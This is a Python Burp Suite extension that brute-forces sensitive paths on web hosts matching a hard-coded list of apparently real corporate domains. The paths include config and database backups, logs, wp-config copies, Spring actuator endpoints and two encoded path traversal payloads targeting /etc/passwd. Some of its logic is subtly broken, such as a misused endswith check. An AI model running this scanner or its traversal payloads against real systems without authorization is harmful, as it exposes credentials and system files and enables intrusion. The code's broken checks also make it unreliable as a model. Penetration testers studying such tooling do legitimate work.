#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2019/10/25 15:25# @Author : xiaodong# @github : https://github.com/dongfangyuxiao/# @Site : ## @File : Burp_Dir.py# @Software: PyCharmimport threadingimport refrom burp import IBurpExtenderfrom burp import IHttpListenerfrom burp import IHttpRequestResponsefrom burp import IResponseInfofrom burp import IRequestInfofrom burp import IHttpServicefrom burp import IScannerCheckfrom burp import IScannerInsertionPointProviderfrom burp import IParameterfrom burp import IScanIssuefrom java.net import URLfrom urlparse import urlparse #我自己的环境是py3,但bp只支持py2,这里没有导入没关系的import urllib2class FuzzLFI: def __init__(self,): # 目录扫描敏感目录 self.dir = [ #目录参考李姐姐的https://github.com/lijiejie/BBScan/ 'config/config_ucenter.php.bak', 'config/.config_ucenter.php.swp', 'config/.config_global.php.swp', 'config/config_global.php.1', 'uc_server/data/config.inc.php.bak', 'config/config_global.php.bak', 'include/config.inc.php.tmp', #discuz敏感目录,正则匹配<?php> 'access.log', 'www.log', 'error.log', 'log.log', 'sql.log', 'errors.log', 'debug.log', 'db.log', 'install.log', 'server.log', 'sqlnet.log', 'WS_FTP.log', 'database.log', 'data.log', 'app.log', 'log.tar.gz', 'log.rar', 'log.zip', 'log.tgz', 'log.tar.bz2', 'log.7z', #日志文件 'WEB-INF/classes', 'jPlayer', 'jwplayer', 'extjs', 'swfupload', 'boss', 'editor', 'ckeditor', 'htmedit', 'htmleditor', 'ueditor', 'tomcat', 'output', 'fck', 'cgi-bin', 'admin', 'bak', 'backup', 'conf', 'config', 'db', 'debug', 'data', 'database', 'deploy', 'WEB-INF', 'install', 'manage', 'manager', 'monitor', 'tmp', 'temp', 'test', 'RPC2', 'wp-config.php.inc', 'wp-config.inc', 'wp-config.bak', 'wp-config.php~', '.wp-config.php.swp', 'wp-config.php.bak', 'auto/config', 'configprops', 'beans', 'dump', 'env', 'env/{name}', 'health', 'info', 'metrics', 'shutdown', 'trace', 'manage', '.svn/entries', 'code', 'phpmyadmin', 'cache', 'compile', 'data1', 'entries', 'storage', 'upload', 'add', 'test.zip', '.zip', 'www.rar', 'foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd', '..%252F..%252F..%252F..%252Fetc%252fpasswd', ]class BurpExtender(IBurpExtender, IScannerCheck): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() self._callbacks.registerScannerCheck(self) # 注册扫描插件 self._callbacks.setExtensionName("DIR") # 定义插件的名称 print("for dir scan") self.fuzzLFI = FuzzLFI() # 引入上面定义的类 self.lfiD = [] # 以上都是标准化程序 def doPassiveScan(self, baseRequestResponse): lfiTarget = [] Request = baseRequestResponse.getRequest() analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(Request) httpService = baseRequestResponse.getHttpService() host, port, protocol, ishttps, = self.get_server_info(httpService) targetHost = ['saicmaxus', 'saicmotor', 'maxuscloud', '224', '226'] url = self.get_request_url(protocol,reqHeaders) #link = reqHeaders[0].split(' ')[1] dir_black =['.html','.gif','.js','.css','.woff','.jpg','.png','.jpeg'] if (host.split('.')[-3] in targetHost) or (host.split('.')[-2] in targetHost): # 多级或单级或类似baidu.net.cn的形势取主域名字段,比对是否在目标列表中 url = urlparse(url) if url.path.endswith not in dir_black: if url.path.endswith('/'): url = url.scheme + '://' + url.netloc + url.path else: url = url.scheme + '://' + url.netloc + url.path + '/' #print(url) html404_status, html404_content = self.html_404_analyze(url) self.DirScan(Request, protocol, host, port, ishttps, url,html404_status, html404_content) def consolidateDuplicateIssues(self, existingIssue, newIssue): return 0 def doActiveScan(self, baseRequestResponse, insertionPoint): # report the issue return None def DirScan(self, request, protocol, host, port, ishttps, url,html404_status, html404_content): for paraNewValue in self.fuzzLFI.dir: newRequest = self._helpers.buildHttpRequest(URL(url+paraNewValue)); # 更新url值#这个地方一定要指定URL类型的,不然重组的时候会报错 #print(url+paraNewValue) newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest); # 生成http请求 newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info( newRequest) # 获取请求包信息(如果存在可以获取payload) # analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest) # url = self.get_request_url(protocol,reqHeaders) # print(url) newResHeaders, newResBodys, newResStatusCode, resLength = self.get_response_info( newResponse) # 获取返回包头、body内容、和状态信息(这个是sql注入的判断的一个依据) #print ("404html status {} ".format(html404_status)) #print "response status {} ".format(newResStatusCode) if newResStatusCode ==206 or ((newResStatusCode ==200) & (newResStatusCode!=html404_status)): newReqUrl = self.get_request_url(protocol, newReqHeaders) content = '[+]{} -> {}\n[Headers] ->'.format('[DirScan GET]', newReqUrl, newReqHeaders) print(content) self.save(content + '\t\n') print('-' * 50) break # 获取响应的一些信息:响应头,响应内容,响应状态码 def html_404_analyze(self, url): url = url+'justfortesthtmlshifoucunzai.html' print url try: html_404 = urllib2.urlopen(url) return html_404.code, html_404.read() except Exception as e: return None,None pass # 获取服务端的信息,主机地址,端口,协议 def get_server_info(self, httpService): host = httpService.getHost() port = httpService.getPort() protocol = httpService.getProtocol() ishttps = False if protocol == 'https': ishttps = True return host, port, protocol, ishttps # 获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用) def get_response_info(self, response): analyzedResponse = self._helpers.analyzeResponse( response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。 resHeaders = analyzedResponse.getHeaders() # getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。 resBodys = response[ analyzedResponse.getBodyOffset():].tostring() # getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容 resStatusCode = analyzedResponse.getStatusCode() # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。 for header in resHeaders: if 'Content-Length' in header: resLength = int(header.split(':')[1].strip()) # 我在这里增加了一个返回包长度检测 else: resLength = int(0) return resHeaders, resBodys, resStatusCode, resLength def get_parameter_Name_Value_Type(self, parameter): parameterName = parameter.getName() parameterValue = parameter.getValue() parameterType = parameter.getType() return parameterName, parameterValue, parameterType # 获取请求的url def get_request_url(self, protocol, reqHeaders): link = reqHeaders[0].split(' ')[1] host = reqHeaders[1].split(' ')[1] if 'http' in link: return link else: return protocol + '://' + host + link # 保存结果 def save(self, content): print(content) f = open('burp_lfi.txt', 'at') f.writelines(content + '\n\n') f.close() def saveUrl(self, content): print(content) f = open('burp_url.txt', 'at') f.writelines(content + '\n\n') f.close() def get_request_info(self, request): analyzedRequest = self._helpers.analyzeRequest( request) # analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象 reqHeaders = analyzedRequest.getHeaders() # 用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。 reqBodys = request[analyzedRequest.getBodyOffset():].tostring() # 获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。 reqMethod = analyzedRequest.getMethod() # 获取请求方法 reqParameters = analyzedRequest.getParameters() return analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters